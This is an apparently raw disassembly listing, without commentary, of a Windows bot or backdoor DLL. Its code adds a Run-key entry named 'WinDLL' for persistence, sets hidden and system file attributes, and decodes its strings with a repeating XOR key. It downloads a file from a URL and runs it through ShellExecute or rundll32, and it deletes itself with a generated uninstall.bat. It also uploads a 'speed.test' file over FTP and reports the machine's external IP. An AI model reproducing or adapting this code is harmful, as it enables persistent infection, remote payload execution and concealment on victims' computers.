push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
lea ecx, [ebp+Data]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; cbData
lea edx, [ebp+Data]
push edx ; lpData
push 1 ; dwType
push 0 ; Reserved
lea eax, [ebp+ValueName]
push eax ; lpValueName
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegSetValueExA ; RegSetValueExA
mov edx, [ebp+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
push 6 ; dwFileAttributes
lea eax, [ebp+FileName]
push eax ; lpFileName
call ds:SetFileAttributesA ; SetFileAttributesA
mov esp, ebp
pop ebp
retn
sub_10004DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_10004EA7 proc near ; CODE XREF: sub_10004CE4+C4p
; sub_10005380+1B0p ...
hKey = dword ptr -88Ch
ValueName = byte ptr -888h
hObject = dword ptr -808h
var_804 = byte ptr -804h
Buffer = byte ptr -704h
NumberOfBytesWritten= dword ptr -604h
File = byte ptr -600h
Str = byte ptr -500h
FileName = byte ptr -100h
push ebp
mov ebp, esp
sub esp, 88Ch
push 100h ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call ds:GetSystemDirectoryA ; GetSystemDirectoryA
lea ecx, [ebp+var_804]
push ecx ; lpBuffer
push 100h ; nBufferLength
call ds:GetTempPathA ; GetTempPathA
push offset dword_1002C5E8
lea edx, [ebp+Buffer]
push edx
push offset aSS_6 ; "%s\\%s"
push 100h ; Count
lea eax, [ebp+FileName]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
lea ecx, [ebp+var_804]
push ecx
push offset aSuninstall_bat ; "%suninstall.bat"
push 100h ; Count
lea edx, [ebp+File]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push offset ExistingFileName ; Str2
lea eax, [ebp+FileName]
push eax ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10004F9F
push offset dword_1002C5E8
push offset aWindllS_0 ; "WinDLL (%s)"
push 80h ; Count
lea ecx, [ebp+ValueName]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; lpdwDisposition
lea edx, [ebp+hKey]
push edx ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
lea eax, [ebp+ValueName]
push eax ; lpValueName
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegDeleteValueA ; RegDeleteValueA
push 80h ; dwFileAttributes
lea edx, [ebp+FileName]
push edx ; lpFileName
call ds:SetFileAttributesA ; SetFileAttributesA
loc_10004F9F: ; CODE XREF: sub_10004EA7+8Bj
lea eax, [ebp+File]
push eax
push offset ExistingFileName
push offset ExistingFileName
push offset a@echoOff1DelSI ; "@echo off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "...
push 400h ; Count
lea ecx, [ebp+Str]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea edx, [ebp+File]
push edx ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [ebp+hObject], eax
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
lea ecx, [ebp+Str]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; nNumberOfBytesToWrite
lea edx, [ebp+Str]
push edx ; lpBuffer
mov eax, [ebp+hObject]
push eax ; hFile
call ds:WriteFile ; WriteFile
mov ecx, [ebp+hObject]
push ecx ; hObject
call ds:CloseHandle ; CloseHandle
push 0 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
lea edx, [ebp+File]
push edx ; lpFile
push offset aOpen_1 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
push 0 ; Code
call ds:exit ; exit
sub_10004EA7 endp
; ---------------------------------------------------------------------------
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000504C proc near ; CODE XREF: start+FDp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset unk_10011AD0 ; int
push 80h ; int
push offset Name ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset dword_1000CA30 ; int
push 80h ; int
push offset Str ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset dword_1000CAB0 ; int
push 80h ; int
push offset byte_10012C44 ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset aZuvj ; "\a:zuvj|:"
push 80h ; int
push offset byte_1002C868 ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset dword_1000CBB0 ; int
push 80h ; int
push offset dword_1002C768 ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset dword_1000CC30 ; int
push 80h ; int
push offset dword_10012BC4 ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset aZuvj_0 ; "\b:zuvj|:("
push 80h ; int
push offset dword_1002C7E8 ; int
call sub_10005191
add esp, 10h
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
push offset aNpwfju7A ; "\vnpwFju+7|a|"
push 80h ; int
push offset dword_1002C5E8 ; int
call sub_10005191
add esp, 10h
mov [ebp+var_4], 0
jmp short loc_10005142
; ---------------------------------------------------------------------------
loc_10005139: ; CODE XREF: sub_1000504C+132j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_10005142: ; CODE XREF: sub_1000504C+EBj
mov ecx, [ebp+var_4]
shl ecx, 7
movsx edx, ds:byte_1000C230[ecx]
test edx, edx
jz short loc_10005180
push offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
mov eax, [ebp+var_4]
shl eax, 7
add eax, offset byte_1000C230
push eax ; int
push 80h ; int
mov ecx, [ebp+var_4]
shl ecx, 7
add ecx, offset byte_1002C8E8
push ecx ; int
call sub_10005191
add esp, 10h
jmp short loc_10005139
; ---------------------------------------------------------------------------
loc_10005180: ; CODE XREF: sub_1000504C+105j
mov edx, [ebp+var_4]
shl edx, 7
mov byte_1002C8E8[edx], 0
mov esp, ebp
pop ebp
retn
sub_1000504C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10005191(int,int,int,char *Str)
sub_10005191 proc near ; CODE XREF: sub_1000504C+18p
; sub_1000504C+34p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+Str]
push eax ; Str
call strlen ; strlen
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov byte ptr [ebp+var_10], dl
mov [ebp+var_8], 0
jmp short loc_100051C0
; ---------------------------------------------------------------------------
loc_100051B7: ; CODE XREF: sub_10005191+4Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_100051C0: ; CODE XREF: sub_10005191+24j
mov ecx, [ebp+var_10]
and ecx, 0FFh
cmp [ebp+var_8], ecx
jge short loc_100051E1
mov edx, [ebp+arg_0]
add edx, [ebp+var_8]
mov eax, [ebp+arg_8]
add eax, [ebp+var_8]
mov cl, [eax+1]
mov [edx], cl
jmp short loc_100051B7
; ---------------------------------------------------------------------------
loc_100051E1: ; CODE XREF: sub_10005191+3Bj
mov [ebp+var_14], 0
jmp short loc_100051F3
; ---------------------------------------------------------------------------
loc_100051EA: ; CODE XREF: sub_10005191:loc_1000523Fj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_100051F3: ; CODE XREF: sub_10005191+57j
mov eax, [ebp+var_14]
cmp eax, [ebp+var_4]
jge short loc_10005241
mov [ebp+var_C], 0
jmp short loc_1000520D
; ---------------------------------------------------------------------------
loc_10005204: ; CODE XREF: sub_10005191+ACj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_1000520D: ; CODE XREF: sub_10005191+71j
mov edx, [ebp+var_10]
and edx, 0FFh
cmp [ebp+var_C], edx
jge short loc_1000523F
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jl short loc_10005225
jmp short loc_1000523F
; ---------------------------------------------------------------------------
loc_10005225: ; CODE XREF: sub_10005191+90j
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_C]
mov edx, [ebp+Str]
add edx, [ebp+var_14]
mov al, [ecx]
xor al, [edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_C]
mov [ecx], al
jmp short loc_10005204
; ---------------------------------------------------------------------------
loc_1000523F: ; CODE XREF: sub_10005191+88j
; sub_10005191+92j
jmp short loc_100051EA
; ---------------------------------------------------------------------------
loc_10005241: ; CODE XREF: sub_10005191+68j
mov edx, [ebp+var_10]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov byte ptr [eax+edx], 0
mov esp, ebp
pop ebp
retn
sub_10005191 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+14h]
push eax
call strlen ; strlen
add esp, 4
mov [ebp-4], eax
mov ecx, [ebp+10h]
push ecx
call strlen ; strlen
add esp, 4
mov [ebp-0Ch], al
mov edx, [ebp+8]
mov al, [ebp-0Ch]
mov [edx], al
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+8]
add eax, 1
push eax
call ds:strncpy ; strncpy
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_100052AB
; ---------------------------------------------------------------------------
loc_100052A2: ; CODE XREF: .text:loc_100052F7j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_100052AB: ; CODE XREF: .text:100052A0j
mov edx, [ebp-10h]
cmp edx, [ebp-4]
jge short loc_100052F9
mov dword ptr [ebp-8], 1
jmp short loc_100052C5
; ---------------------------------------------------------------------------
loc_100052BC: ; CODE XREF: .text:100052F5j
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_100052C5: ; CODE XREF: .text:100052BAj
mov ecx, [ebp-0Ch]
and ecx, 0FFh
cmp [ebp-8], ecx
jg short loc_100052F7
mov edx, [ebp-8]
cmp edx, [ebp+0Ch]
jl short loc_100052DD
jmp short loc_100052F7
; ---------------------------------------------------------------------------
loc_100052DD: ; CODE XREF: .text:100052D9j
mov eax, [ebp+8]
add eax, [ebp-8]
mov ecx, [ebp+14h]
add ecx, [ebp-10h]
mov dl, [eax]
xor dl, [ecx]
mov eax, [ebp+8]
add eax, [ebp-8]
mov [eax], dl
jmp short loc_100052BC
; ---------------------------------------------------------------------------
loc_100052F7: ; CODE XREF: .text:100052D1j
; .text:100052DBj
jmp short loc_100052A2
; ---------------------------------------------------------------------------
loc_100052F9: ; CODE XREF: .text:100052B1j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100052FD proc near ; DATA XREF: .data:1000E01Co
push ebp
mov ebp, esp
call sub_1000530C
call sub_1000531C
pop ebp
retn
sub_100052FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000530C proc near ; CODE XREF: sub_100052FD+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012DC5
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_1000530C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000531C proc near ; CODE XREF: sub_100052FD+8p
push ebp
mov ebp, esp
push offset sub_1000532E ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000531C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000532E()
sub_1000532E proc near ; DATA XREF: sub_1000531C+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012DC5
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_1000532E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000533E proc near ; DATA XREF: .data:1000E020o
push ebp
mov ebp, esp
call sub_1000534D
call sub_1000535D
pop ebp
retn
sub_1000533E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000534D proc near ; CODE XREF: sub_1000533E+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012DC4
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_1000534D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000535D proc near ; CODE XREF: sub_1000533E+8p
push ebp
mov ebp, esp
push offset sub_1000536F ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000535D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000536F()
sub_1000536F proc near ; DATA XREF: sub_1000535D+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012DC4
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_1000536F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005380 proc near ; DATA XREF: sub_10007424+100Bo
; sub_10007424+161Do
Parameters = byte ptr -1320h
hObject = dword ptr -1220h
Buffer = byte ptr -121Ch
var_21C = dword ptr -21Ch
NumberOfBytesWritten= dword ptr -218h
var_214 = dword ptr -214h
nNumberOfBytesToWrite= dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
File = byte ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1320h
call __alloca_probe
push esi
push edi
mov esi, [ebp+arg_0]
mov ecx, 82h
lea edi, [ebp+var_20C]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_21C], eax
push 0
push 0
push 0
push 0
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ds:InternetOpenA ; InternetOpenA
mov [ebp+var_4], eax
push 0
push 0
push 0
push 0
lea ecx, [ebp+var_208]
push ecx
mov edx, [ebp+var_4]
push edx
call ds:InternetOpenUrlA ; InternetOpenUrlA
mov [ebp+var_214], eax
mov eax, [ebp+var_21C]
mov byte ptr [eax+207h], 1
cmp [ebp+var_214], 0
jz loc_1000555E
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea ecx, [ebp+File]
push ecx ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [ebp+hObject], eax
cmp [ebp+hObject], 0FFFFFFFFh
jnz short loc_1000543E
push 1
mov edx, [ebp+var_20C]
push edx
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_1000543E: ; CODE XREF: sub_10005380+A0j
; sub_10005380+109j
lea eax, [ebp+nNumberOfBytesToWrite]
push eax
push 1000h
lea ecx, [ebp+Buffer]
push ecx
mov edx, [ebp+var_214]
push edx
call ds:InternetReadFile ; InternetReadFile
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
mov ecx, [ebp+nNumberOfBytesToWrite]
push ecx ; nNumberOfBytesToWrite
lea edx, [ebp+Buffer]
push edx ; lpBuffer
mov eax, [ebp+hObject]
push eax ; hFile
call ds:WriteFile ; WriteFile
cmp [ebp+nNumberOfBytesToWrite], 0
ja short loc_1000543E
mov ecx, [ebp+hObject]
push ecx ; hObject
call ds:CloseHandle ; CloseHandle
mov edx, [ebp+var_214]
push edx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, [ebp+var_4]
push eax
call ds:InternetCloseHandle ; InternetCloseHandle
mov ecx, [ebp-7]
and ecx, 0FFh
test ecx, ecx
jz short loc_10005537
mov edx, [ebp+var_8]
and edx, 0FFh
test edx, edx
jz short loc_100054E5
push 0 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
lea eax, [ebp+File]
push eax ; lpFile
push offset aOpen_2 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
jmp short loc_10005523
; ---------------------------------------------------------------------------
loc_100054E5: ; CODE XREF: sub_10005380+147j
lea ecx, [ebp+File]
push ecx
push offset aSStart_0 ; "%s,start"
push 100h ; Count
lea edx, [ebp+Parameters]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; nShowCmd
push 0 ; lpDirectory
lea eax, [ebp+Parameters]
push eax ; lpParameters
push offset aRundll32_exe_0 ; "rundll32.exe"
push offset aOpen_3 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
loc_10005523: ; CODE XREF: sub_10005380+163j
push offset aQuit ; "QUIT"
call sub_10007293
add esp, 4
call sub_10004EA7
; ---------------------------------------------------------------------------
jmp short loc_1000555E
; ---------------------------------------------------------------------------
loc_10005537: ; CODE XREF: sub_10005380+13Aj
mov ecx, [ebp+var_8+2]
and ecx, 0FFh
test ecx, ecx
jz short loc_1000555E
push 5 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
lea edx, [ebp+File]
push edx ; lpFile
push offset aOpen_4 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
loc_1000555E: ; CODE XREF: sub_10005380+71j
; sub_10005380+1B5j ...
push 1
mov eax, [ebp+var_20C]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
sub_10005380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005584 proc near ; DATA XREF: sub_10007424+EBCo
var_1180 = dword ptr -1180h
var_117C = dword ptr -117Ch
var_1178 = dword ptr -1178h
var_1174 = dword ptr -1174h
var_1170 = dword ptr -1170h
var_116C = byte ptr -116Ch
var_1168 = dword ptr -1168h
var_1164 = dword ptr -1164h
var_1160 = dword ptr -1160h
var_115C = byte ptr -115Ch
var_105C = dword ptr -105Ch
var_1048 = dword ptr -1048h
var_1038 = dword ptr -1038h
var_1034 = dword ptr -1034h
var_1030 = word ptr -1030h
Memory = dword ptr -102Ch
var_1028 = dword ptr -1028h
var_1024 = dword ptr -1024h
var_1020 = dword ptr -1020h
Dst = byte ptr -100Ch
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1180h
call __alloca_probe
push esi
push edi
mov esi, [ebp+arg_0]
mov ecx, 47h
lea edi, [ebp+var_1164]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_1168], eax
push 0
push 0
push 0
push 0
push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible)"
call ds:InternetOpenA ; InternetOpenA
mov [ebp+var_C], eax
mov ecx, [ebp+var_1168]
mov byte ptr [ecx+118h], 1
push 80h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Memory], eax
mov [ebp+var_1028], 80h
push 80h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+var_1024], eax
mov [ebp+var_1020], 80h
push 80h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+var_1038], eax
mov [ebp+var_1034], 80h
mov [ebp+var_1048], 3Ch
lea edx, [ebp+var_1048]
push edx
push 0
push 0
lea eax, [ebp+var_115C]
push eax
call ds:InternetCrackUrlA ; InternetCrackUrlA
push 0
push 0
push 1
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+Memory]
push edx
mov ax, [ebp+var_1030]
push eax
mov ecx, [ebp+var_1038]
push ecx
mov edx, [ebp+var_C]
push edx
call ds:InternetConnectA ; InternetConnectA
mov [ebp+var_117C], eax
cmp [ebp+var_117C], 0
jz loc_1000579A
push 0
push 2
push 40000000h
push offset aSpeed_test ; "speed.test"
mov eax, [ebp+var_117C]
push eax
call ds:FtpOpenFileA ; FtpOpenFileA
mov [ebp+var_1174], eax
cmp [ebp+var_1174], 0
jz loc_1000579A
push 1000h ; Size
push 41h ; Val
lea ecx, [ebp+Dst]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_1170], eax
mov [ebp+var_1178], 0
jmp short loc_100056FF
; ---------------------------------------------------------------------------
loc_100056F0: ; CODE XREF: sub_10005584+1D0j
mov edx, [ebp+var_1178]
add edx, 1
mov [ebp+var_1178], edx
loc_100056FF: ; CODE XREF: sub_10005584+16Aj
mov eax, [ebp+var_1160]
shl eax, 0Ah
cdq
and edx, 0FFFh
add eax, edx
sar eax, 0Ch
cmp [ebp+var_1178], eax
jge short loc_10005756
lea eax, [ebp+var_116C]
push eax
push 1000h
lea ecx, [ebp+Dst]
push ecx
mov edx, [ebp+var_1174]
push edx
call ds:InternetWriteFile ; InternetWriteFile
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
sub eax, [ebp+var_1170]
mov [ebp+var_4], eax
jmp short loc_100056F0
; ---------------------------------------------------------------------------
loc_10005756: ; CODE XREF: sub_10005584+196j
cmp [ebp+var_4], 0
jz short loc_10005767
mov edx, [ebp+var_4]
mov [ebp+var_1180], edx
jmp short loc_10005771
; ---------------------------------------------------------------------------
loc_10005767: ; CODE XREF: sub_10005584+1D6j
mov [ebp+var_1180], 1
loc_10005771: ; CODE XREF: sub_10005584+1E1j
mov eax, [ebp+var_1160]
xor edx, edx
div [ebp+var_1180]
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+var_8]
push eax ; char
push offset aSpeedtestCompl ; "speedtest complete (upload speed: %luKB"...
lea ecx, [ebp+var_105C]
push ecx ; int
call sub_10007303
add esp, 0Ch
loc_1000579A: ; CODE XREF: sub_10005584+101j
; sub_10005584+12Fj
mov edx, [ebp+var_1174]
push edx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, [ebp+var_117C]
push eax
call ds:InternetCloseHandle ; InternetCloseHandle
mov ecx, [ebp+var_C]
push ecx
call ds:InternetCloseHandle ; InternetCloseHandle
mov edx, [ebp+Memory]
push edx ; Memory
call ds:free ; free
add esp, 4
mov eax, [ebp+var_1024]
push eax ; Memory
call ds:free ; free
add esp, 4
mov ecx, [ebp+var_1038]
push ecx ; Memory
call ds:free ; free
add esp, 4
push 1
mov edx, [ebp+var_1164]
push edx
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
sub_10005584 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005814 proc near ; DATA XREF: .data:1000E024o
push ebp
mov ebp, esp
call sub_10005823
call sub_10005833
pop ebp
retn
sub_10005814 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005823 proc near ; CODE XREF: sub_10005814+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D0F9
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_10005823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005833 proc near ; CODE XREF: sub_10005814+8p
push ebp
mov ebp, esp
push offset sub_10005845 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10005833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10005845()
sub_10005845 proc near ; DATA XREF: sub_10005833+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D0F9
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10005845 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005855 proc near ; DATA XREF: .data:1000E028o
push ebp
mov ebp, esp
call sub_10005864
call sub_10005874
pop ebp
retn
sub_10005855 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005864 proc near ; CODE XREF: sub_10005855+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D0F8
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10005864 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005874 proc near ; CODE XREF: sub_10005855+8p
push ebp
mov ebp, esp
push offset sub_10005886 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10005874 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10005886()
sub_10005886 proc near ; DATA XREF: sub_10005874+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D0F8
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10005886 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 420h
push edi
mov dword ptr [ebp-30Ch], 0
mov byte ptr [ebp-420h], 0
xor eax, eax
mov [ebp-41Fh], eax
mov [ebp-41Bh], eax
mov [ebp-417h], eax
mov [ebp-413h], ax
mov [ebp-411h], al
mov byte ptr [ebp-304h], 0
mov ecx, 40h
xor eax, eax
lea edi, [ebp-303h]
rep stosd
stosw
stosb
mov byte ptr [ebp-410h], 0
mov ecx, 40h
xor eax, eax
lea edi, [ebp-40Fh]
rep stosd
stosw
stosb
mov byte ptr [ebp-200h], 0
mov ecx, 7Fh
xor eax, eax
lea edi, [ebp-1FFh]
rep stosd
stosw
stosb
cmp dword ptr [ebp+0Ch], 0
jnz short loc_10005934
xor eax, eax
jmp loc_100059E7
; ---------------------------------------------------------------------------
loc_10005934: ; CODE XREF: .text:1000592Bj
lea ecx, [ebp-304h]
push ecx
push 103h
call ds:GetTempPathA ; GetTempPathA
lea edx, [ebp-410h]
push edx
push 0
push offset aTemp ; "Temp"
lea eax, [ebp-304h]
push eax
call ds:GetTempFileNameA ; GetTempFileNameA
xor ecx, ecx
test ecx, ecx
jz short loc_100059E2
push 0
push 80h
push 3
push 0
push 1
push 80000000h
lea edx, [ebp-410h]
push edx
call ds:CreateFileA ; CreateFileA
mov [ebp-308h], eax
cmp dword ptr [ebp-308h], 0FFFFFFFFh
jz short loc_100059E2
push 0
lea eax, [ebp-30Ch]
push eax
push 0Fh
lea ecx, [ebp-420h]
push ecx
mov edx, [ebp-308h]
push edx
call ds:ReadFile ; ReadFile
lea eax, [ebp-420h]
push eax
push offset aMainExternalIp ; "Main-> External IP: %s"
push 1FFh
lea ecx, [ebp-200h]
push ecx
call ds:_snprintf ; _snprintf
add esp, 10h
mov edx, [ebp-308h]
push edx
call ds:CloseHandle ; CloseHandle
loc_100059E2: ; CODE XREF: .text:10005965j
; .text:10005993j
mov eax, 1
loc_100059E7: ; CODE XREF: .text:1000592Fj
pop edi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100059EC proc near ; DATA XREF: .data:1000E02Co
push ebp
mov ebp, esp
call sub_100059FB
call sub_10005A0B
pop ebp
retn
sub_100059EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100059FB proc near ; CODE XREF: sub_100059EC+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D101
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_100059FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10005A0B proc near ; CODE XREF: sub_100059EC+8p
push ebp
mov ebp, esp
push offset sub_10005A1D ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10005A0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10005A1D()
sub_10005A1D proc near ; DATA XREF: sub_10005A0B+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D101
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10005A1D endp
; =============== S U B R O U T I N E =======================================
